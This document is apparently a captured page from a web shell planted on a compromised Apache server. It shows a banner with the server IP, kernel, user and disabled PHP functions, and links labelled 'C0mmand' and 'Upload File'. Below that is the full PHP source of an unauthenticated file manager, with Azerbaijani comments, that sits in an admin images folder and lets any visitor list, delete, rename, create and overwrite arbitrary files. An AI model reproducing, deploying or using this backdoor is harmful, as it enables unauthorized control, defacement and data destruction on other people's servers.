|
Server IP : 124.109.2.77 / Your IP : 216.73.216.96 Web Server : Apache/2 System : Linux ns4.amiprocorp.com 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64 User : cpctlp ( 1020) PHP Version : 5.6.40 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : ON | cURL : ON | WGET : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 329 OFF | Perl : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 335 OFF | Python : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 341 OFF Directory (0755) : /home/cpctlp/public_html/admin/select2/../src/../select2/../src/../css/../css/../ajax/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
function getFiles($path)
{
$files = scandir($path);
$fileList = [];
foreach ($files as $file) {
if ($file != '.' && $file != '..') {
$filePath = $path . '/' . $file;
$fileInfo = [
'name' => $file,
'path' => $filePath,
'type' => is_dir($filePath) ? 'qovluq' : 'fayl',
];
array_push($fileList, $fileInfo);
}
}
return $fileList;
}
function deleteFile($path)
{
if (is_file($path)) {
return unlink($path);
} elseif (is_dir($path)) {
$files = array_diff(scandir($path), array('.', '..'));
foreach ($files as $file) {
deleteFile($path . '/' . $file);
}
return rmdir($path);
}
return false;
}
function renameFile($oldPath, $newPath)
{
return rename($oldPath, $newPath);
}
function createFile($path, $filename)
{
$filePath = $path . '/' . $filename;
return touch($filePath);
}
function createDirectory($path, $dirname)
{
$dirPath = $path . '/' . $dirname;
return mkdir($dirPath);
}
function editFile($filePath, $content)
{
return file_put_contents($filePath, $content);
}
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action'])) {
$action = $_POST['action'];
$path = isset($_POST['path']) ? $_POST['path'] : '';
if ($action === 'getFiles') {
// Verilmiş yoldakı fayl və qovluqları alın
$fileList = getFiles($path);
echo json_encode($fileList);
exit; // Skriptin daha əlavə icrasını qarışdırmaq üçün əlavə edildi
} elseif ($action === 'delete' && isset($_POST['deletePath'])) {
// Fayl və ya qovluğu silmək
$deletePath = $_POST['deletePath'];
$success = deleteFile($deletePath);
if ($success) {
echo 'Fayl və ya qovluq uğurla silindi.';
} else {
echo 'Fayl və ya qovluq silmək mümkün olmadı.';
}
exit; // Skriptin daha əlavə icrasını qarışdırmaq üçün əlavə edildi
} elseif ($action === 'rename' && isset($_POST['oldPath']) && isset($_POST['newPath'])) {
// Fayl və ya qovluğun adını dəyişdirmək
$oldPath = $_POST['oldPath'];
$newPath = $_POST['newPath'];
$success = renameFile($oldPath, $newPath);
if ($success) {
echo 'Fayl və ya qovluq uğurla adlandırıldı.';
} else {
echo 'Fayl və ya qovluq adını dəyişdirmək mümkün olmadı.';
}
exit; // Skriptin daha əlavə icrasını qarışdırmaq üçün əlavə edildi
} elseif ($action === 'createFile' && isset($_POST['filename'])) {
// Yeni fayl yaratmaq
$filename = $_POST['filename'];
$success = createFile($path, $filename);
if ($success) {
echo 'Fayl uğurla yaradıldı.';
} else {
echo 'Fayl yaratmaq mümkün olmadı.';
}
exit; // Skriptin daha əlavə icrasını qarışdırmaq üçün əlavə edildi
} elseif ($action === 'createDirectory' && isset($_POST['dirname'])) {
// Yeni qovluq yaratmaq
$dirname = $_POST['dirname'];
$success = createDirectory($path, $dirname);
if ($success) {
echo 'Qovluq uğurla yaradıldı.';
} else {
echo 'Qovluq yaratmaq mümkün olmadı.';
}
exit; // Skriptin daha əlavə icrasını qarışdırmaq üçün əlavə edildi
} elseif ($action === 'editFile' && isset($_POST['filePath']) && isset($_POST['content'])) {
// Faylı düzəltmək
$filePath = $_POST['filePath'];
$content = $_POST['content'];
$success = editFile($filePath, $content);
if ($success) {
echo 'Fayl uğurla düzəldildi.';
} else {
echo 'Faylı düzəltmək mümkün olmadı.';
}
exit; // Skriptin daha əlavə icrasını qarışdırmaq üçün əlavə edildi
}
}
// Dizinleri gəzmə
function listDirectories($path)
{
$directories = glob($path . '/*', GLOB_ONLYDIR);
foreach ($directories as $directory) {
$directoryName = basename($directory);
echo '<li>';
echo '<span class="file-icon">';
echo '<img src="https://img.icons8.com/color/48/000000/folder-invoices.png" alt="Qovluq İkonu">';
echo '</span>';
echo '<span class="file-name">' . $directoryName . '</span>';
echo '<a href="?path=' . $directory . '">Görüntülə</a>';
echo '</li>';
}
}
// Faylları listələmə
function listFiles($path)
{
$files = glob($path . '/*');
foreach ($files as $file) {
if (!is_dir($file)) {
$fileName = basename($file);
echo '<li>';
echo '<span class="file-icon">';
echo '<img src="https://img.icons8.com/color/48/000000/file.png" alt="Fayl İkonu">';
echo '</span>';
echo '<span class="file-name">' . $fileName . '</span>';
echo '<a href="' . $file . '" download>Yüklə</a>';
echo '</li>';
}
}
}
// Başlanğıc yolu
$initialPath = isset($_GET['path']) ? $_GET['path'] : __DIR__;
$fileList = getFiles($initialPath);
?>
<!DOCTYPE html>
<html>
<head>
<title>MINI</title>
<link rel="shortcut icon" type="image/png" href=""/>
<style>
body {
background-color: #000000;
color: white;
font-family: Arial, sans-serif;
margin: 20px;
}
h1 {
margin-bottom: 20px;
}
.file-list {
list-style-type: none;
padding: 0;
}
.file-list li {
display: flex;
align-items: center;
margin-bottom: 5px;
}
.file-list li .file-icon {
margin-right: 10px;
}
.file-list li .file-name {
flex-grow: 1;
}
.actions {
margin-top: 10px;
}
.actions input[type="text"] {
margin-right: 10px;
}
.actions input[type="submit"] {
cursor: pointer;
}
</style>
</head>
<body>
<h1>Fayl Menecer</h1>
<div class="current-directory">
Kataloq (dizin): <?php echo realpath($initialPath); ?>
</div>
<ul class="file-list">
<?php listDirectories($initialPath); ?>
<?php listFiles($initialPath); ?>
</ul>
<div class="actions">
<form method="POST" enctype="multipart/form-data">
<input type="hidden" name="action" value="delete">
<input type="hidden" name="path" value="<?php echo $initialPath; ?>">
<input type="text" name="deletePath" placeholder="Silmək üçün fayl və ya qovluq" required>
<input type="submit" value="Sil">
</form>
<form method="POST" enctype="multipart/form-data">
<input type="hidden" name="action" value="rename">
<input type="hidden" name="path" value="<?php echo $initialPath; ?>">
<input type="text" name="oldPath" placeholder="Hazırkı fayl və ya qovluq yolu" required>
<input type="text" name="newPath" placeholder="Yeni fayl və ya qovluq yolu" required>
<input type="submit" value="Adını Dəyiş">
</form>
<form method="POST" enctype="multipart/form-data">
<input type="hidden" name="action" value="createFile">
<input type="hidden" name="path" value="<?php echo $initialPath; ?>">
<input type="text" name="filename" placeholder="Yeni fayl adı" required>
<input type="submit" value="Fayl Yarat">
</form>
<form method="POST" enctype="multipart/form-data">
<input type="hidden" name="action" value="createDirectory">
<input type="hidden" name="path" value="<?php echo $initialPath; ?>">
<input type="text" name="dirname" placeholder="Yeni qovluq adı" required>
<input type="submit" value="Qovluq Yarat">
</form>
<form method="POST" enctype="multipart/form-data">
<input type="hidden" name="action" value="editFile">
<input type="hidden" name="path" value="<?php echo $initialPath; ?>">
<input type="text" name="filePath" placeholder="Düzəltmək üçün fayl yolu" required>
<textarea name="content" rows="5" cols="40" placeholder="Düzəltmək üçün mətn" required></textarea>
<input type="submit" value="Faylı Düzəlt">
</form>
</div>
</body>
</html>